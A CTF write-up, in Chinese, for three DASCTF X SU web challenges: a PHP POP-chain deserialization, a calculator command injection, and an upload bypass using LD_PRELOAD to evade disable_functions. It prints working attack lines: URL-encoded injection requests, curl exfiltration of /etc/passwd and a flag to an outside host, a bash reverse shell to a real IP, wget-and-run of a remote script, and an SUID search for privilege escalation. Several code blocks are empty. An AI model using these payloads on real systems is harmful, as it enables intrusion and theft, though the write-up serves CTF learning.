SU_DASCTF_wp
DASCTF X SU
[TOC]
ezpop
源码:
1 |
|
链子
1 |
|
卡了一会儿的几个点,还不熟悉:
1 | "?><?php system('cat ./*');" |
这里外面有””了,就用单引号了里面
1 | cat ./* |
然后html是不显示php代码的,这里flag是php代码里面,要查看源码crtl+u
以及后来只有特定长度字符打得通,真是傻了,怎么能不重新生成pop链…直接改命令的话pop链的字符串长度和字符串对应不上了就,要重新生成的
还有一个pop链的地方:
__call方法 访问不可达时调用,这里crow类调用world方法,但是没定义这个方法,所以调用call
calc
源码,计算处ssti过滤很多,基本不能ssti
1 | #coding=utf-8 |
只要eval不报错,就可以放到system执行,注入代码,num和log变量的区别是,eval#后面注释掉不执行,但system#不注释要执行,反斜杠是用于执行命令
system下:
1 | root@VM-8-16-ubuntu:~# echo 1#`whoami` |
eval下:
1 | eval('1+1#yenan') |
构造,因为waf了空格 %20,这里用tab %09代替,url编码的时候,产生url歧义的编码,比如/ %2F : %3A # %23,意义分别是目录分隔符,端口号,注释url
1 | GET /calc?num=1*1%23`curl%09-d%09@%2Fetc%2Fpasswd%09yenan.club%3A18888` HTTP/1.1 |
但是找不到flag,名字或者位置部队,尝试弹shell或者写文件
先在vps上放着shell.sh
1 | bash -i >& /dev/tcp/81.70.59.112/18888 0>&1 |
起一个simplehttp
1 | python3 -m http.server 8002 |
wget下载shell.sh到/tmp
1 | GET /calc?num=1*1%23`wget%09-P%09/tmp%09http://yenan.club:8002/shell.sh` HTTP/1.1 |
给权限
1 | GET /calc?num=1*1%23`chmod%09777%09/tmp/shell.sh` HTTP/1.1 |
运行
1 | GET /calc?num=1*1%23`/tmp/shell.sh` HTTP/1.1 |
获得shell
或者
先写到tmp下
1 | GET /calc?num=1*1%23`cat%09/*%09>%09/tmp/flag` HTTP/1.1 |
然后外带
1 | GET /calc?num=1*1%23`curl%09-d%09@/tmp/flag%09http://yenan.club:18888` |
积累两个命令:
把本地的/flag外带到vps
1 | curl -d @/flag http://vps:port |
下载vps的脚本到本地
1 | wget -P /tmp http://vps:port/file |
upload
用字符串拼接绕过waf
1 |
|
这里直接读flag没权限,所以得RCE后续还得提权,后面如果执行命令的话得考虑反弹shell,外带没用了
读到源码
1 | <div class="light"><span class="glow"> |
phpinfo没被waf,可以直接上传后查看,搜disable_functions,发现禁用挺多,执行命令的都禁用了,够呛能直接执行或者连webshell了。把disable复制到记事本,搜函数,发现有mail()和putenv(),因此可以使用bypass disable_function的LD_PRELOAD方法,就差一个加载so文件了。
但我尝试在题目给的上传接口传so文件,都不能通过waf检验,查看burp发的包发现glibc编译有(ubuntu14.04~ubuntu20.04)
这是少不了的东西,但一下好几个waf的字符,就放弃从给的上传口子上传。
其实我们提交任何上传文件的请求到php文件的时候,都会在临时目录(/tmp)生成一个php??????(六个随机字符)的文件,并且在脚本执行结束自动删除,我们直接使用临时文件来给LD_PRELOAD即可。
但是php临时文件名字随机,要确切知道的话需要爆破,这里用原生类来解决获取php临时文件名字的问题,再用刚才的那个任意文件读取的字符串拼接方法绕过waf对putenv()的上传限制,最后用glob://协议来匹配处随机名字的临时文件,glob这里表示循环所有php开头后面六个字符的文件。
使用putenv()来指定LD_PRELOAD的值,然后再利用文件上传的临时文件
1 |
|
上传shell.php后访问传的php文件以执行
访问
1 | http://380bb2af-a2a7-4a6c-873d-92a4ce3cd478.node4.buuoj.cn:81/uploads/25a452927110e39a345a2511c57647f2.php |
给任何php传都会有临时文件,但只有给在执行的这个恶意php传,才能在删除之前被加载
1 | <form action="http://380bb2af-a2a7-4a6c-873d-92a4ce3cd478.node4.buuoj.cn:81/uploads/25a452927110e39a345a2511c57647f2.php" method="post" enctype="multipart/form-data"> |
在这传exp.so,提前监听,即可反弹shell
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
exp.c
1 |
|
脚本:system函数默认是sh -c 来执行命令,而debian系的Linux /bin/sh 链接到了/bin/dash redhat系则是链接到了 /bin/bash,本题这里必须加,耽误了好长时间,以后都加上就行。以及cmdline里面的 \ 是为了转义 “ 防止过早闭合。使用for循环修改LD_PRELOAD的首个字符改成\0,即C语言字符串结束标记,原因是unsetenv(“LD_PRELOAD”)在某些Linux发行版不一定生效(如CentOS),这样一个小动作能够让系统原有的LD_PRELOAD环境变量自动失效
详解:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
编译
1 | gcc -shared -fPIC exp.c -o exp.so |
上传即可反弹到shell,直接cat /flag没权限
suid提权
1 | find / -perm -u=s -type f 2>/dev/null |
搜的时间比较长
上次见的提权是
1 | comm /flag /etc/passwd |